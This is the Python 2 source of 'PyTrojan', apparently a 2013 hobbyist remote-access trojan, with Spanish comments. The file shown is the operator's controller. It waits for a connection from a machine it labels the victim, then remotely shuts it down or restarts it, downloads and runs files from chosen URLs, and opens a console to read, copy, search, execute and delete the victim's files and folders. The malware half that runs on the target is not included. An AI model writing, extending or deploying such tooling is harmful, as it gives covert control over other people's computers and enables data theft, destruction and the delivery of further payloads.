# -*- coding: utf-8 -*-
##########################################
## ##
## PyTrojan ##
## By Proxy ##
## Fecha Inicio: 28/04/13 ##
## Fecha Fin: ../../.. ##
## Client ##
## ##
##########################################
import socket
import os
import time
#Limpiamos Pantalla
def cls():
os.system(['clear','cls'][os.name == 'nt'])
#Imprimimos Cabecera
def Cabecera():
print ' ****************************************************'
print ' **** ****'
print ' **** PyTrojan v1.0 Beta ****'
print ' **** ****'
print ' ****************************************************'
#Imprimimos Opciones
def Opcionestop():
print ' ****************************************************'
print ' **** Opciones ****'
print ' ****************************************************'
print ' **** ****'
print ' **** 1) Apagar Equipo ****'
print ' **** ________________________ ****'
print ' **** 2) Reiniciar Equipo ****'
print ' **** ________________________ ****'
print ' **** 3) Downloader ****'
print ' **** ________________________ ****'
print ' **** 4) Localizador IP ****'
print ' **** ________________________ ****'
print ' **** 5) Limpiar Pantalla ****'
print ' **** ________________________ ****'
print ' **** 6) Consola ****'
print ' **** ________________________ ****'
print ' **** 7) Desconectar ****'
print ' **** ________________________ ****'
print ' **** 8) Desconectar ****'
print ' **** ________________________ ****'
print ' **** 9) Apagar Servidor ****'
print ' **** ________________________ ****'
print ' **** 10) Salir ****'
print ' **** ________________________ ****'
print ' **** ****'
print ' ****************************************************'
#Consola de Comandos
def Consola(s, sc):
time.sleep(1)
def Menuopc():
print '\nHELP: Muestra la lista de comandos de la consola'
print 'DEL: Elimina el archivo marcado'
print 'XDEL: Elimina la carpeta marcada'
print 'COPY: Copia un archivo a otra directorio'
print 'READ: Abre el archivo en la consola'
print 'OPEN: Ejecuta un archivo'
print 'WANT: Busca en todos los archivo con extension a elegir'
print 'DIR: Muestra el directorio actual'
print 'CD: Cambia de directorio al directorio seleccionado'
print 'EXIT: Salir de la consola de comandos\n'
Menuopc()
while True:
opconsola = raw_input('>>> ')
if opconsola == 'help':
Menuopc()
elif opconsola.startswith('del') == True:
time.sleep(1)
ruta1 = opconsola[:3]
ruta2 = opconsola[4:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('xdel') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'copy':
time.sleep(1)
ruta1 = opconsola
ruta2 = raw_input('Introduce la ruta del archivo a copiar >>> ')
ruta3 = raw_input('Introduce la ruta donde se copiara el archivo >>> ')
sc.send(ruta1)
sc.send(ruta2)
sc.send(ruta3)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
elif opconsola.startswith('read') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('open') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('want') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola == 'dir':
time.sleep(1)
sc.send(opconsola)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
elif opconsola.startswith('cd') == True:
time.sleep(1)
ruta1 = opconsola[:2]
ruta2 = opconsola[3:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'exit':
time.sleep(1)
sc.send(opconsola)
print '\nHas salido de la consola...\n'
break
#Opciones despues de conectar
def Opciones(s, sc, addr):
cls()
orden = ''
while orden != '10':
Opcionestop()
while True:
orden = raw_input('>>> ')
if orden == '1': #Apaga Equipo
try:
sc.send('apagar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '2': #Reinicia Equipo
try:
sc.send('reiniciar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '3': #Downloader
try:
direccion = raw_input('Introduce la direccion >>> ')
time.sleep(1)
nomarch = raw_input('Introduce el nombre del archivo con extension >>> ')
time.sleep(1)
sc.send('downloader')
time.sleep(1)
sc.send(direccion)
sc.send(nomarch)
time.sleep(1)
vari = sc.recv(1024)
print vari
except:
print 'El servidor esta desconectado...'
else:
try:
while vari == 'Archivo descargado con exito...':
ejecutar = ''
while ejecutar != 'si' and ejecutar != 'no':
ejecutar = raw_input('Desea ejecutar el archivo? (si o no) >>> ')
if ejecutar == 'si':
sc.send('si')
print sc.recv(1024)
elif ejecutar == 'no':
sc.send('no')
else:
print 'Introduce si o no...'
else:
break
else:
pass
except:
print 'Ha ocurrido un error...'
elif orden == '4': #Localiza IP
try:
sc.send('localizadorip')
iploc = addr[0]
sc.send(iploc)
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '5': #Limpia la Pantalla
time.sleep(1)
cls()
Opcionestop()
elif orden == '6':
try:
sc.send('consola')
Consola(s, sc)
except:
print 'El servidor esta desconectado...'
elif orden == '7':
print 'hello'
elif orden == '8':
print 'hello'
elif orden == '9': #Apaga Servidor
try:
sc.send('desconectar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '10':
print 'Te has desconectado...'
break
else:
print '%s No se reconoce como un comando' % orden
#Menu
def Menu():
opcion = ''
while opcion != '1' and opcion != '2':
cls()
Cabecera()
print ' ****************************************************'
print ' **** ****'
print ' **** 1) Esperar Conexiones ****'
print ' **** 2) Salir ****'
print ' **** ****'
print ' ****************************************************\n'
opcion = raw_input('>>> ')
if opcion == '1':
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Esperando Conexiones... ****'
print ' **** ****'
print ' ****************************************************'
host = ''
port = 9999
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
sc, addr = s.accept()
except:
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Ocurrio un problema... ****'
print ' **** ****'
print ' ****************************************************'
raw_input()
else:
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Victima ****'
print ' **** ****'
print ' ****************************************************\n'
print 'Se ha establecido la conexion con...', addr[0]
raw_input()
Opciones(s, sc, addr)
elif opcion == '2':
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Gracias por usar PyTrojan ****'
print ' **** ****'
print ' ****************************************************'
raw_input()
cls()
Menu()